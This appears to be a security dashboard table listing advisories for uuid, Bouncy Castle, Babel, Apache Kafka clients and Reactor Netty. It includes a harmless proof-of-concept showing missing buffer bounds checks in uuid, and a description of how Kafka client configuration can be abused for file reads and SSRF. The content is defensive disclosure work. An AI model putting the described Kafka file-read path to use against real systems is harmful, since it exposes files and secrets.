| 6.3CVSS 4.0 | GHSA-w5hq-g745-h8pq | Resolved | 2026-04-22 | 5.6 ×95.5 ×205.4 ×14 | ### Summary The `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). By contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds. This inconsistency allows **silent partial writes** into caller-provided buffers. ### Affected code - `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation. - `src/v6.ts` writes `buf[offset + i]` without bounds validation. ### Reproducible PoC ```bash cd /home/StrawHat/uuid npm ci npm run build node --input-type=module -e " import {v4,v5,v6} from './dist-node/index.js'; const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8'; for (const [name,fn] of [ ['v4()',()=>v4({},new Uint8Array(8),4)], ['v5()',()=>v5('x',ns,new Uint8Array(8),4)], ['v6()',()=>v6({},new Uint8Array(8),4)], ]) { try { fn(); console.log(name,'NO_THROW'); } catch(e){ console.log(name,'THREW',e.name); } }" ``` Observed: - `v4() THREW RangeError` - `v5() NO_THROW` - `v6() NO_THROW` Example partial overwrite evidence captured during audit: ```text same true buf [ 170, 170, 170, 170, 75, 224, 100, 63 ] v6 [ 187, 187, 187, 187, 31, 19, 185, 64 ] ``` ### Security impact - **Primary**: integrity/robustness issue (silent partial output). - If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error. - In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw. ### Suggested fix Add the same guard used by `v4()`/`v1()`/`v7()`: ```ts if (offset < 0 || offset + 16 > buf.length) { throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`); } ``` Apply to: - `src/v35.ts` (covers `v3()` and `v5()`) - `src/v6.ts` | |
| 6.3CVSS 4.0 | GHSA-wg6q-6289-32hp
CVE-2026-5588 |
Resolved | 2026-04-15 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | : Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules). PKIX draft CompositeVerifier accepts empty signature sequence as valid. This issue affects BC-JAVA: from 1.49 before 1.84. | |
| 6.2CVSS 3.1 | CVE-2025-27789
GHSA-968p-4wvh-cqc8 |
False positive | 2025-03-11 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Babel is a compiler for writing next generation JavaScript. When using versions of Babel prior to 7.26.10 and 8.0.0-alpha.17 to compile regular expression named capturing groups, Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`). Generated code is vulnerable if all the following conditions are true: Using Babel to compile regular expression named capturing groups, using the `.replace` method on a regular expression that contains named capturing groups, and the code using untrusted strings as the second argument of `.replace`. This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17. It's likely that individual users do not directly depend on `@babel/helpers`, and instead depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees use of a new enough `@babel/helpers` version. Note that just updating Babel dependencies is not enough; one will also need to re-compile the code. No known workarounds are available. | |
| 6.2CVSS 3.1 | GHSA-968p-4wvh-cqc8
CVE-2025-27789 |
False positive | 2025-03-11 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact When using Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`). Your generated code is vulnerable if _all_ the following conditions are true: - You use Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group) - You use the `.replace` method on a regular expression that contains named capturing groups - **Your code uses untrusted strings as the second argument of `.replace`** If you are using `@babel/preset-env` with the [`targets`](https://babeljs.io/docs/options#targets) option, the transform that injects the vulnerable code is automatically enabled if: - you use [_duplicated_ named capturing groups](https://github.com/tc39/proposal-duplicate-named-capturing-groups), and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23 - you use any [named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10 You can verify what transforms `@babel/preset-env` is using by enabling the [`debug` option](https://babeljs.io/docs/babel-preset-env#debug). ### Patches This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on `@babel/helpers`, and instead you depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees that you are on a new enough `@babel/helpers` version. Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code. ### Workarounds If you are passing user-provided strings as the second argument of `.replace` on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring `$<` if it's then not followed by `>` (possibly with other characters in between). ### References This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173. | |
| 6.2CVSS 4.0 | GHSA-vgq5-3255-v292
CVE-2025-27817 |
Not affected | 2025-06-10 | 5.4 ×14 | A possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products. Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly. | |
| 6.1CVSS 3.1 | CVE-2025-22227
GHSA-4q2v-9p7v-3v22 |
Resolved | 2025-07-16 | 5.4 ×14 | In some specific scenarios with chained redirects, Reactor Netty HTTP client leaks credentials. In order for this to happen, the HTTP client must have been explicitly configured to follow redirects. |